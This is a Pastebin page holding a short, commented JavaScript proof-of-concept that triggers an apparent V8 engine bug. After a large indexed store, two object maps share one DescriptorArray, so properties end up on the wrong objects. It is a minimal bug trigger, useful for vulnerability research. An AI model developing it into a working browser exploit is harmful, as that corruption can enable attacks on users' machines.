Ledger Nano X - The secure hardware wallet
SHARE
TWEET

Untitled

a guest Apr 8th, 2020 136 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. class H {
  2.     ['h']() {} // h now has map M1
  3. }
  4. let h = H.prototype.h;
  5. // index has to be 1024 or greater, h transitions to map M2 with its backing
  6. // store converted to a NumberDictionary, but M1 and M2 both own the same
  7. // DescriptorArray, which is the bug.
  8. h[1024] = 1337;
  9.  
  10. // Adding a property will cause h to transition to map M3, but M2 and M3 will
  11. // still own the same DescriptorArray
  12. h.a = 1.1;
  13.  
  14. // All of these properties are added to both M2 and M3
  15. h.b = 1.1;
  16. h.c = 1.1;
  17.  
  18. // 'b' has map M1. This map has the property 'a' in it, which is buggy.
  19. // The property is not accessible (returns undefined).
  20. class B {['a']() {}};
  21. let b = B.prototype.a;
  22.  
  23. // After this line, b's map is M2. This map has all the above added properties
  24. // in it ('a', 'b', and 'c').
  25. b[1024] = 1337;
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
Top